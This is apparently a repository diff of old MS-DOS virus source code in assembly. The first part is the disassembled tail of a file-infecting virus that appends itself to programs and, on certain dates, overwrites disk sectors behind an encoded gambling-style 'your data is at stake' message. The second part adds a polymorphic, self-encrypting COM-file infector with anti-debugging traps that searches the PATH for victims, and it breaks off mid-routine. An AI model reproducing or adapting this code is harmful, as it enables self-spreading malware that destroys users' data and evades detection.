(6AE6:0040=0) + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax +;* jmp far ptr loc_1 ;*(0273:1460) + db 0EAh, 60h, 14h, 73h, 2 + db 8Ch, 0CAh, 83h, 0C2h, 10h, 8Eh + db 0DAh, 0BAh, 20h, 0, 0B4h, 41h + db 0CDh, 21h, 0B8h, 21h, 35h, 0CDh + db 21h, 8Ch, 6, 0D4h, 1, 89h + db 1Eh, 0D2h, 1, 0BAh, 82h, 0 + db 0B8h, 21h, 25h, 0CDh, 21h, 0BAh + db 1Bh, 0Ch, 0CDh + db 27h + +; +; SUBROUTINE +; + +sub_1 proc near + mov ax,ds:data_19e ; (6AE6:0068=0) + cmp ax,0F5B9h + ja loc_20 ; Jump if above + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + test cl,4 + jnz loc_20 ; Jump if not zero + test cl,1 + jz loc_16 ; Jump if zero + and cl,0FEh + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_16: + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + mov dx,3 + mov cx,1 + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + jnc loc_17 ; Jump if carry=0 + jmp short loc_19 ; (0732) + db 90h +loc_17: + cmp ax,0 + jne loc_18 ; Jump if not equal + jmp short loc_19 ; (0732) + db 90h +loc_18: + mov al,byte ptr ds:data_8e+1 ; (6AE6:0003=0) + cmp al,90h + jne loc_21 ; Jump if not equal +loc_19: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_20: + mov dl,3 + retn +loc_21: + mov dl,1 + retn +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ds:data_20e,dx ; (6AE6:007E=0) + mov ds:data_21e,cx ; (6AE6:0080=0) + push bx + call sub_5 ; (07FD) + mov bx,68h + mov ax,[bx] + mov dx,0 + mov bx,10h + div bx ; ax,dx rem=dx:ax/reg + inc ax + mov ds:data_10e,ax ; (6AE6:003B=0) + mul bx ; dx:ax = reg * ax + mov ds:data_11e,ax ; (6AE6:003D=0) + pop bx + mov cx,ds:data_10e ; (6AE6:003B=0) + mov si,35Fh + mov [si],cx + mov cx,0 + mov dx,0 + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,605h + mov cx,4 + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov cx,0 + mov dx,ds:data_11e ; (6AE6:003D=0) + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,0 + mov cx,91Ah + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + cmp ax,cx + jb loc_22 ; Jump if below + mov al,ds:data_18e ; (6AE6:004D=0) + cmp al,1 + je loc_22 ; Jump if equal + mov cx,0 + mov dx,0 + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov si,9 + mov ax,ds:data_11e ; (6AE6:003D=0) + add ax,35Ch + sub ax,4 + mov [si],ax + mov dx,7 + mov cx,4 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +loc_22: + mov dx,ds:data_20e ; (6AE6:007E=0) + mov cx,ds:data_21e ; (6AE6:0080=0) + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + call sub_6 ; (0813) + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + push ax + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov dl,al + pop ax + mov dh,0 + mov cl,1 + mov ah,2 + int 13h ; Disk dl=drive #: ah=func b2h + ; read sectors to memory es:bx + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_4 proc near + push ax + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov dl,al + pop ax + mov dh,0 + mov cl,1 + mov ah,3 + int 13h ; Disk dl=drive #: ah=func b3h + ; write sectors from mem es:bx + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_16e,bx ; (6AE6:0045=0) + mov ds:data_17e,es ; (6AE6:0047=6AE6h) + mov dx,335h + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + mov dx,ds:data_16e ; (6AE6:0045=0) + mov cx,ds:data_17e ; (6AE6:0047=6AE6h) + push ds + push cx + pop ds + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + retn +sub_6 endp + + db 50h, 53h, 51h, 52h, 1Eh, 6 + db 0B4h, 0, 0CDh, 13h, 0B4h, 1 + db 88h, 26h, 4Dh, 0, 0BFh, 0FFh + db 0FFh, 8Eh, 6, 49h, 0, 8Bh + db 1Eh, 4Bh, 0, 0B0h, 0, 26h + db 88h, 7, 7, 1Fh, 5Ah, 59h + db 5Bh, 58h, 0CFh, 8Ch, 0CAh, 0B9h + db 3Fh, 0, 3, 0D1h, 83h, 0C2h + db 10h, 8Eh, 0DAh, 0A1h, 3Dh, 0 + db 5, 3, 6, 0BBh, 0FEh, 0FFh + db 2Bh, 0D8h, 89h, 1Eh, 3, 6 + db 0BBh, 5, 6, 8Ah, 7, 2Eh + db 0A2h, 0, 1, 43h, 8Ah, 7 + db 2Eh, 0A2h, 1, 1, 43h, 8Ah + db 7, 2Eh, 0A2h, 2, 1, 43h + db 8Ah, 7, 2Eh, 0A2h, 3, 1 + db 0B4h, 2Ah, 0CDh, 21h, 80h, 0FAh + db 0Fh, 74h, 3, 0E9h, 0A2h, 1 +loc_23: + cmp dh,1 + je loc_24 ; Jump if equal + cmp dh,4 + je loc_24 ; Jump if equal + cmp dh,8 + je loc_24 ; Jump if equal + jmp loc_36 ; (0A33) +loc_24: + call sub_8 ; (09EB) + push ds + pop es + mov si,613h + mov di,613h + mov cx,305h + cld ; Clear direction + +locloop_25: + lodsb ; String [si] to al + sub al,64h ; 'd' + stosb ; Store al to es:[di] + loop locloop_25 ; Loop if cx > 0 + + mov dx,613h + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx +loc_26: + mov ah,7 + int 21h ; DOS Services ah=function 07h + ; get keybd char al, no echo + mov byte ptr ds:data_2e,64h ; (0000:060D=0) 'd' + nop + mov byte ptr ds:data_3e,78h ; (0000:060E=0) 'x' + nop + mov byte ptr ds:data_4e,0B4h ; (0000:060F=0) + nop + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dh=sec + mov bl,dh + mov bh,0 + mov ch,0 + mov dh,0 + add cl,dl + mov ax,cx + mov cl,3 + div cl ; al, ah rem = ax/reg + mov ds:data_5e,ah ; (0000:0610=0) + mov ax,dx + mov dl,3 + div dl ; al, ah rem = ax/reg + mov ds:data_6e,ah ; (0000:0611=0) + mov ax,bx + div dl ; al, ah rem = ax/reg + mov ds:data_7e,ah ; (0000:0612=0) + dec byte ptr ds:data_1e ; (0000:060C=0) + mov al,ds:data_1e ; (0000:060C=0) + add al,30h ; '0' + mov dh,0Dh + mov dl,26h ; '&' + mov bx,0 + mov ah,2 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode +loc_27: + mov dx,1FFFh +loc_28: + nop + nop + nop + dec dx + jnz loc_28 ; Jump if not zero + mov al,ds:data_2e ; (0000:060D=0) + cmp al,ds:data_5e ; (0000:0610=0) + je loc_29 ; Jump if equal + mov dl,19h + mov al,ds:data_2e ; (0000:060D=0) + call sub_7 ; (09C9) + mov al,ds:data_2e ; (0000:060D=0) + dec al + mov ds:data_2e,al ; (0000:060D=0) +loc_29: + mov al,ds:data_3e ; (0000:060E=0) + cmp al,ds:data_6e ; (0000:0611=0) + je loc_30 ; Jump if equal + mov dl,21h ; '!' + mov al,ds:data_3e ; (0000:060E=0) + call sub_7 ; (09C9) + dec byte ptr ds:data_3e ; (0000:060E=0) +loc_30: + mov al,ds:data_4e ; (0000:060F=0) + cmp al,ds:data_7e ; (0000:0612=0) + je loc_31 ; Jump if equal + mov dl,29h ; ')' + mov al,ds:data_4e ; (0000:060F=0) + call sub_7 ; (09C9) + dec byte ptr ds:data_4e ; (0000:060F=0) +loc_31: + mov al,ds:data_4e ; (0000:060F=0) + cmp al,ds:data_7e ; (0000:0612=0) + jne loc_27 ; Jump if not equal + mov ah,ds:data_3e ; (0000:060E=0) + cmp ah,ds:data_6e ; (0000:0611=0) + jne loc_27 ; Jump if not equal + mov bl,ds:data_2e ; (0000:060D=0) + cmp bl,ds:data_5e ; (0000:0610=0) + jne loc_27 ; Jump if not equal + cmp al,0 + jne loc_32 ; Jump if not equal + cmp ah,0 + jne loc_32 ; Jump if not equal + cmp bl,0 + jne loc_32 ; Jump if not equal + mov dx,80Ah + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + call sub_9 ; (0A18) + jmp short loc_35 ; (09C7) + db 90h +loc_32: + cmp al,1 + jne loc_33 ; Jump if not equal + cmp ah,1 + jne loc_33 ; Jump if not equal + cmp bl,1 + jne loc_33 ; Jump if not equal + mov dx,88Dh + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp short loc_34 ; (09BD) + db 90h +loc_33: + mov al,ds:data_1e ; (0000:060C=0) + cmp al,0 + je loc_34 ; Jump if equal + jmp loc_26 ; (08BF) +loc_34: + mov dx,8D6h + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp short loc_35 ; (09C7) + nop +loc_35: + jmp short loc_35 ; (09C7) + +; +; SUBROUTINE +; + +sub_7 proc near + mov ah,0 + push ax + mov dh,0Bh + mov ah,2 + mov bh,0 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + pop ax + mov bl,3 + div bl ; al, ah rem = ax/reg + mov bl,ah + mov bh,0 + add bx,609h + mov al,[bx] + mov ah,0Eh + mov bx,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + push ds + mov bx,ds + add bx,1000h + mov ds,bx + mov bx,0 + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov cx,50h + mov dx,0 + int 25h ; Absolute disk read, drive al + popf ; Pop flags + mov bx,0 + mov ds,bx + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov cx,50h + mov dx,0 + int 26h ; Absolute disk write, drive al + popf ; Pop flags + pop ds + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + push ds + mov bx,ds + add bx,1000h + mov ds,bx + mov bx,0 + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov cx,50h + mov dx,0 + int 26h ; Absolute disk write, drive al + popf ; Pop flags + pop ds + retn +sub_9 endp + +loc_36: + mov bx,0 + mov ax,4B59h + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + cmp ax,666h + jne loc_37 ; Jump if not equal + jmp loc_41 ; (0AF0) +loc_37: + push ds + pop es + push ds + push cs + pop ds + mov si,0 + mov di,917h + mov cx,100h + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop ds + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov ds:data_14e,bx ; (6AE6:0041=0) + mov ds:data_15e,es ; (6AE6:0043=6AE6h) + mov dx,4Eh + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov dx,11h + mov cx,3Fh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_38 ; Jump if carry Set + mov dx,11h + call sub_1 ; (06EE) + cmp dl,1 + jne loc_38 ; Jump if not equal + call sub_2 ; (073C) +loc_38: + call sub_5 ; (07FD) + mov dx,20h + mov cx,2 + mov ah,3Ch ; '<' + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + jc loc_40 ; Jump if carry Set + mov bx,ax + mov dx,0 + mov cx,91Ah + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + push ax + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + pop ax + cmp ax,cx + je loc_39 ; Jump if equal + mov dx,20h + mov ah,41h ; 'A' + int 21h ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + jmp short loc_40 ; (0AD1) + db 90h +loc_39: + push cs + pop es + mov bx,cs:data_8e ; (6AE6:0002=0) + sub bx,92Ch + mov cx,cs + sub bx,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov dx,20h + push ds + pop es + mov bx,2Dh + mov ax,4B00h + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx +loc_40: + call sub_6 ; (0813) + push cs + pop es + mov di,0 + mov si,917h + mov cx,0FFh + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov dx,ds:data_14e ; (6AE6:0041=0) + mov bx,ds:data_15e ; (6AE6:0043=6AE6h) + mov ds,bx + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +loc_41: + push cs + pop ds + jmp $-0F32h + jmp $+3DFh + db 48h, 9Bh, 9Ch, 3Fh, 5, 0Ah + db 5, 3, 1, 3, 0, 6Eh + db 71h, 6Dh, 6Dh, 84h, 84h, 84h + db 0A8h, 0ADh, 0B7h, 0AFh, 84h, 0A8h + db 0A9h, 0B7h, 0B8h, 0B6h, 0B3h, 0BDh + db 0A9h, 0B6h, 84h, 5Dh, 84h, 0A5h + db 84h, 0B7h, 0B3h, 0B9h, 0BAh, 0A9h + db 0B2h, 0ADh, 0B6h, 84h, 0B3h, 0AAh + db 84h, 0B1h, 0A5h, 0B0h, 0B8h, 0A5h + db 6Eh, 71h, 6Eh, 71h, 6Dh, 6Dh + db 0ADh, 84h, 0CCh, 0C5h, 0DAh, 0C9h + db 84h, 0CEh, 0D9h, 0D7h, 0D8h, 84h + db 0A8h, 0A9h, 0B7h, 0B8h, 0B6h, 0B3h + db 0BDh, 0A9h, 0A8h, 84h, 0D8h, 0CCh + db 0C9h, 84h, 0AAh, 0A5h, 0B8h, 84h + db 0D3h, 0D2h, 84h, 0DDh, 0D3h, 0D9h + db 0D6h, 84h, 0A8h, 0CDh, 0D7h, 0CFh + db 84h, 85h, 85h, 6Eh, 71h, 84h + db 84h, 84h, 84h, 84h, 84h, 0ACh + db 0D3h, 0DBh, 0C9h, 0DAh, 0C9h, 0D6h + db 90h, 84h, 0ADh, 84h, 0CCh, 0C5h + db 0DAh, 0C9h, 84h, 0C5h, 84h, 0C7h + db 0D3h, 0D4h, 0DDh, 84h, 0CDh, 0D2h + db 84h, 0B6h, 0A5h, 0B1h, 90h, 84h + db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h + db 0D1h, 84h, 0CBh, 0CDh, 0DAh, 0CDh + db 0D2h, 0CBh, 84h, 0DDh, 0D3h, 0D9h + db 84h, 0C5h, 84h, 0D0h, 0C5h, 0D7h + db 0D8h, 84h, 0C7h, 0CCh, 0C5h, 0D2h + db 0C7h, 0C9h, 6Eh, 71h, 6Dh, 6Dh + db 6Dh, 0D8h, 0D3h, 84h, 0D6h, 0C9h + db 0D7h, 0D8h, 0D3h, 0D6h, 0C9h, 84h + db 0DDh, 0D3h, 0D9h, 0D6h, 84h, 0D4h + db 0D6h, 0C9h, 0C7h, 0CDh, 0D3h, 0D9h + db 0D7h, 84h, 0C8h, 0C5h, 0D8h, 0C5h + db 92h, 6Eh, 71h, 84h, 84h, 84h + db 84h, 84h, 0BBh, 0A5h, 0B6h, 0B2h + db 0ADh, 0B2h, 0ABh, 9Eh, 84h, 0ADh + db 0AAh, 84h, 0BDh, 0B3h, 0B9h, 84h + db 0B6h, 0A9h, 0B7h, 0A9h, 0B8h, 84h + db 0B2h, 0B3h, 0BBh, 90h, 84h, 0A5h + db 0B0h, 0B0h, 84h, 0BDh, 0B3h, 0B9h + db 0B6h, 84h, 0A8h, 0A5h, 0B8h, 0A5h + db 84h, 0BBh, 0ADh, 0B0h, 0B0h, 84h + db 0A6h, 0A9h, 84h, 0B0h, 0B3h, 0B7h + db 0B8h, 84h, 91h, 84h, 0AAh, 0B3h + db 0B6h, 0A9h, 0BAh, 0A9h, 0B6h, 84h + db 85h, 85h, 6Eh, 71h, 6Dh, 6Dh + db 84h, 84h, 84h, 0BDh, 0D3h, 0D9h + db 0D6h, 84h, 0A8h, 0C5h, 0D8h, 0C5h + db 84h, 0C8h, 0C9h, 0D4h, 0C9h, 0D2h + db 0C8h, 0D7h, 84h, 0D3h, 0D2h, 84h + db 0C5h, 84h, 0CBh, 0C5h, 0D1h, 0C9h + db 84h, 0D3h, 0CAh, 84h, 0AEh, 0A5h + db 0A7h, 0AFh, 0B4h, 0B3h, 0B8h, 71h + db 6Eh, 71h, 6Eh, 6Dh, 6Dh, 84h + db 84h, 84h, 84h, 84h, 84h, 0A7h + db 0A5h, 0B7h, 0ADh, 0B2h, 0B3h, 84h + db 0A8h, 0A9h, 84h, 0B1h, 0A5h, 0B0h + db 0B8h, 0A9h, 84h, 0AEh, 0A5h, 0A7h + db 0AFh, 0B4h, 0B3h, 0B8h + db 'nqnqmmm-1' + db 1Fh, 6Dh, 2Dh, 31h, 1Fh, 6Dh + db 2Dh, 31h, 1Fh, 6Eh, 71h, 6Dh + db 6Dh, 6Dh, 3Bh, 0, 3Bh, 6Dh + db 3Bh, 0A3h, 3Bh, 6Dh, 3Bh, 0FFh + db ';nqmmm,1 m,1 m,1 nqmmm' + db 84h, 84h, 84h, 84h, 0A7h, 0B6h + db 0A9h, 0A8h, 0ADh, 0B8h, 0B7h, 84h + db 9Eh, 84h, 99h + db 'nqqnqnmmm' + db 0, 0, 0, 84h, 0A1h, 84h + db 0BDh, 0D3h, 0D9h, 0D6h, 84h, 0A8h + db 0CDh, 0D7h, 0CFh, 6Eh, 71h, 6Dh + db 6Dh, 6Dh, 0A3h, 0A3h, 0A3h, 84h + db 0A1h, 84h, 0B1h, 0DDh, 84h, 0B4h + db 0CCh, 0D3h, 0D2h, 0C9h, 84h, 0B2h + db 0D3h, 92h, 6Eh, 71h, 6Eh, 71h + db 6Dh, 6Dh, 6Dh, 0A5h, 0B2h, 0BDh + db 84h, 0AFh, 0A9h, 0BDh, 84h, 0B8h + db 0B3h, 84h, 0B4h, 0B0h, 0A5h, 0BDh + db 'qnqnqnqnqn' + db 88h, 6Eh, 71h, 0A6h, 0A5h, 0B7h + db 0B8h, 0A5h, 0B6h, 0A8h, 84h, 85h + db 84h, 0BDh, 0D3h, 0D9h, 0C4h, 0D6h + db 0C9h, 84h, 0D0h, 0D9h, 0C7h, 0CFh + db 0DDh, 84h, 0D8h, 0CCh, 0CDh, 0D7h + db 84h, 0D8h, 0CDh, 0D1h, 0C9h, 84h + db 91h, 84h, 0C6h, 0D9h, 0D8h, 84h + db 0CAh, 0D3h, 0D6h, 84h, 0DDh, 0D3h + db 0D9h, 0D6h, 84h, 0D3h, 0DBh, 0D2h + db 84h, 0D7h, 0C5h, 0CFh, 0C9h, 90h + db 84h, 0D2h, 0D3h, 0DBh, 6Eh, 71h + db 0B7h, 0BBh, 0ADh, 0B8h, 0A7h, 0ACh + db 84h, 0B3h, 0AAh, 0AAh, 84h, 0BDh + db 0B3h, 0B9h, 0B6h, 84h, 0A7h, 0B3h + db 0B1h, 0B4h, 0B9h, 0B8h, 0A9h, 0B6h + db 84h, 0A5h, 0B2h, 0A8h, 84h, 0A8h + db 0B3h, 0B2h, 0C4h, 0B8h, 84h, 0B8h + db 0B9h, 0B6h +loc_42: + mov dl,84h + lodsw ; String [si] to ax + mov ax,0B384h + mov dl,84h + mov ax,0B0ADh + mov al,84h + mov ax,0B1B3h + mov bl,0B6h + mov dh,0B3h + mov bx,8584h + test ax,ds:data_33e[di] ; (6AE6:716E=0) + mov [bp+71h],ch + mov dl,0D3h + test ch,[bp+si-3827h] + iret ; Interrupt return + db 0CDh, 0D2h, 0C4h, 84h, 0A7h, 0CCh + db 0C5h, 0D2h, 0C7h, 0C9h, 9Fh, 84h + db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h + db 0D1h, 84h, 0D4h, 0D9h, 0D2h, 0CDh + db 0D7h, 0CCh, 0CDh, 0D2h, 0CBh, 84h + db 0DDh, 0D3h, 0D9h, 84h, 0CAh, 0D3h + db 0D6h, 84h, 0D8h, 0D6h, 0DDh, 0CDh + db 0D2h, 0CBh, 84h, 0D8h, 0D3h, 84h + db 0D8h, 0D6h, 0C5h, 0C7h, 0C9h, 84h + db 0D1h, 0C9h, 84h, 0C8h, 0D3h, 0DBh + db 0D2h, 84h, 85h, 88h, 6Eh, 71h + db 0ACh, 0A5h, 84h, 0ACh, 0A5h, 84h + db 85h, 85h, 84h, 0BDh, 0D3h, 0D9h + db 84h, 0C5h, 0D7h, 0D7h, 0CCh, 0D3h + db 0D0h, 0C9h, 90h, 84h, 0DDh, 0D3h + db 0D9h, 0C4h, 0DAh, 0C9h, 84h, 0D0h + db 0D3h, 0D7h, 0D8h, 9Eh, 84h, 0D7h + db 0C5h, 0DDh, 84h, 0A6h, 0DDh, 0C9h + db 84h, 0D8h, 0D3h, 84h, 0DDh, 0D3h + db 0D9h, 0D6h, 84h, 0A6h, 0C5h, 0D0h + db 0D0h, 0D7h, 84h, 92h, 92h, 92h + db 6Eh, 71h, 88h, 0CDh, 20h, 0 + +seg_a ends + + + + end start diff --git a/c/CASPER (36).ASM b/c/CASPER (36).ASM new file mode 100755 index 0000000..e157a0b --- /dev/null +++ b/c/CASPER (36).ASM @@ -0,0 +1,776 @@ +; +; +; Copyright (C) Mark Washburn, 1990. All Rights Reserved +; +; +; Inquires are directed to : +; Mark Washburn +; 4656 Polk Street NE +; Columbia Heights, MN 55421 +; USA +; +; +; +; +code segment public 'CODE' + org 100h +; + assume cs:code,ds:code,es:code +; + +;stopdebug equ 1 ; define this for disassembly trap code +int1vec equ 4 +int3vec equ 12 +; +dta_ptr equ -4 +file_crea equ -8 +file_attr equ -10 +path_start_ptr equ -12 +file_start_ptr equ -14 +RAND_SEED equ -16 +ptr1 equ -18 ; pointer to start of loop code +ptr2 equ -20 ; save data_begin pointer +dat1 equ -22 ; the random code used +dat2 equ -24 ; the decode length plus random length offset, max_msk + ; to make the decode routine more difficult to detect +dat3 equ -26 ; the 'necessary crypt code' mask +; +IFNDEF stopdebug +local_stack equ 26 +max_msk equ 0ffh ; this determines the maximum variance of length +ELSE +nobugptr equ -28 +oldint3 equ -32 +oldint1 equ -36 +local_stack equ 36 +max_msk equ 0ffh ; this determines the maximum variance of length +ENDIF +; +; +; +doscall macro call_type + ifnb + mov ah, call_type + endif + int 21h + endm +; +setloc macro arg1,reg2 + mov [bp + arg1],reg2 + endm +; +getloc macro reg1,arg2 + mov reg1,[bp + arg2] + endm +; +setdat macro arg1,reg2 + mov [si + offset arg1 - offset data_begin],reg2 + endm +; +getdat macro reg1,arg2 + mov reg1,[si + offset arg2 - offset data_begin] + endm +; +regofs macro reg1,arg2 + mov reg1,si + add reg1,offset (arg2 - data_begin) + endm +; +NOBUG1 macro +IFDEF stopdebug + INT 3 + NOP +ENDIF + endm +; +nobug2 macro +IFDEF stopdebug + INT 3 +ENDIF + endm +; +; +start: + jmp entry +; +; +; + MOV AH,0 + INT 021h ; program code +; db 600h-6 dup (0) +; insert utility code here +; +entry: + + +IFDEF stopdebug + call precrypt + db 36 dup (090h) ; calculated length of offset(t41-t10) +ELSE + db 39 dup (090h) ; calculated length of offset(t41-t10) +ENDIF +; +; label the start of encoded section +entry2: + + + + + + +INCLUDE utility.asm <------- Manipulation Task Goes Here! + + + + + + + + mov bp,sp ; allocate locals + sub sp,local_stack +; + push cx +movcmd: ; this label is used to locate the next instruction + mov dx,offset data_begin + setloc ptr2,dx ; save - will be modified in 'gencode' +IFDEF stopdebug +; +; save interrupt 1 and 3 vectors +; + push ds + mov ax,0 + push ax + pop ds + cli + mov ax,ds:[int1vec] + setloc oldint1,ax + mov ax,ds:[int1vec+2] + setloc oldint1+2,ax + mov ax,ds:[int3vec] + setloc oldint3,ax + mov ax,ds:[int3vec+2] + setloc oldint3+2,ax + sti + pop ds +; + call bugon +ENDIF + mov si,dx + add si,(offset old_code - offset data_begin) + mov di,0100h + mov cx,03h + cld + repz movsb + mov si,dx + doscall 30h ; check DOS version + cmp al,0 + NOBUG1 ; 0 + jnz cont1 ; DOS > 2.0 + jmp exit +cont1: + push es + doscall 2fh ; get program DTA + NOBUG1 ; 0 + setloc dta_ptr,bx + NOBUG1 ; 0 + setloc dta_ptr+2,es + pop es + regofs dx,my_dta + doscall 1ah ; set new DTA + push es + push si + mov es,ds:[02ch] ; environment address + mov di,0 +loop1: + pop si + push si + add si,(offset path_chars - offset data_begin) + lodsb + mov cx,8000h + repnz scasb + mov cx,4 +loop2: + lodsb + scasb + jnz loop1 + loop loop2 + pop si + pop es + setloc path_start_ptr,di + mov bx,si + add si,offset (file_name-data_begin) + mov di,si + jmp cont6 + nobug2 +next_path: + cmp word ptr [bp + path_start_ptr],0 + jnz cont3 + jmp exit2 + nobug2 +cont3: + push ds + push si + mov ds,es:[002ch] + + mov di,si + mov si,es:[bp+path_start_ptr] + add di,offset (file_name-data_begin) +loop3: + lodsb + cmp al,';' ; 3bh + jz cont4 + cmp al,0 + jz cont5 + stosb + jmp loop3 + nobug2 +cont5: + mov si,0 +cont4: + pop bx + pop ds + mov [bp+path_start_ptr],si + cmp ch,0ffh + jz cont6 + mov al,'\' ; 5ch + stosb +cont6: + mov [bp+file_start_ptr],di + mov si,bx + add si,(offset com_search-offset data_begin) + mov cx,6 + repz movsb + mov si,bx + mov ah,04eh + regofs dx,file_name + mov cx,3 + doscall + jmp cont7 + nobug2 +next_file: + doscall 04fh +cont7: + jnb cont8 + jmp next_path + nobug2 +cont8: + mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte + and al,01fh + cmp al,01fh + jz next_file +IFNDEF stopdebug + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h + ; file length compared; need 1.5 k spare, see rnd off +ELSE + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h +ENDIF + jz next_file ; with virus length + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah + ; file to short + jz next_file + mov di,[bp+file_start_ptr] + push si + add si,offset(my_dta-data_begin+01eh) +move_name: + lodsb + stosb + cmp al,0 + jnz move_name + pop si + mov ax,04300h + regofs dx,file_name + doscall + setloc file_attr,cx + mov ax,04301h + and cx,0fffeh + regofs dx,file_name + doscall + mov ax,03d02h + regofs dx,file_name + doscall + jnb cont9 + jmp exit3 + nobug2 +cont9: + mov bx,ax + mov ax,05700h + doscall + setloc file_crea,cx + setloc file_crea+2,dx +cont10: + mov ah,3fh + mov cx,3 + regofs dx,old_code + doscall + NOBUG1 ; 1 + jb cont98 + NOBUG1 + cmp ax,3 + NOBUG1 + jnz cont98 + NOBUG1 + mov ax,04202h + NOBUG1 ;1 + mov cx,0 + mov dx,0 + doscall + jnb cont99 +cont98: + jmp exit4 +cont99: + NOBUG1 ; 2 + push bx ; save file handle + NOBUG1 + mov cx,ax + push cx + NOBUG1 + sub ax,3 + NOBUG1 + setdat jump_code+1,ax + add cx,(offset data_begin-offset entry+0100h) + NOBUG1 + mov di,si + NOBUG1 + sub di,offset data_begin-offset movcmd-1 + NOBUG1 + mov [di],cx +; + doscall 02ch ; seed the random number generator + xor dx,cx + NOBUG1 + setloc rand_seed,dx + NOBUG1 ; 2 + call random + NOBUG1 ; 3 + getloc ax,rand_seed + NOBUG1 ; 3 + and ax,max_msk ; add a random offset to actual length + NOBUG1 ; 3 + add ax,offset (data_end-entry2) ; set decode length + NOBUG1 ; 3 + setloc dat2,ax ; save the decode length + NOBUG1 ; 3 + setdat (t13+1),ax ; set decode length in 'mov cx,xxxx' + pop cx ; restore the code length of file to be infected + NOBUG1 ; 3 + add cx,offset (entry2-entry+0100h) ; add the length + ; of uncoded area plus file offset + setdat (t11+1),cx ; set decode begin in 'mov di,xxxx' + NOBUG1 ; 3 + call random + getloc ax,rand_seed + NOBUG1 ; 3 + setloc dat1,ax ; save this random key in dat1 + setdat (t12+1),ax ; set random key in 'mov ax,xxxx' + NOBUG1 ; 3 + mov di,si + NOBUG1 ; 3 + sub di,offset (data_begin-entry) + NOBUG1 ; 3 + mov bx,si + add bx,offset (l11-data_begin) ; table L11 address + mov word ptr [bp+dat3],000000111b ; required routines + call gen2 ; generate first part of decrypt + setloc ptr1,di ; save the current counter to resolve 'loop' + add bx,offset (l21-l11) ; add then next tables' offset + NOBUG1 ; 3 + mov word ptr [bp+dat3],010000011b ; required plus 'nop' + NOBUG1 ; 3 + call gen2 ; generate second part of decrypt + add bx,offset (l31-l21) ; add the next offset + NOBUG1 + call gen2 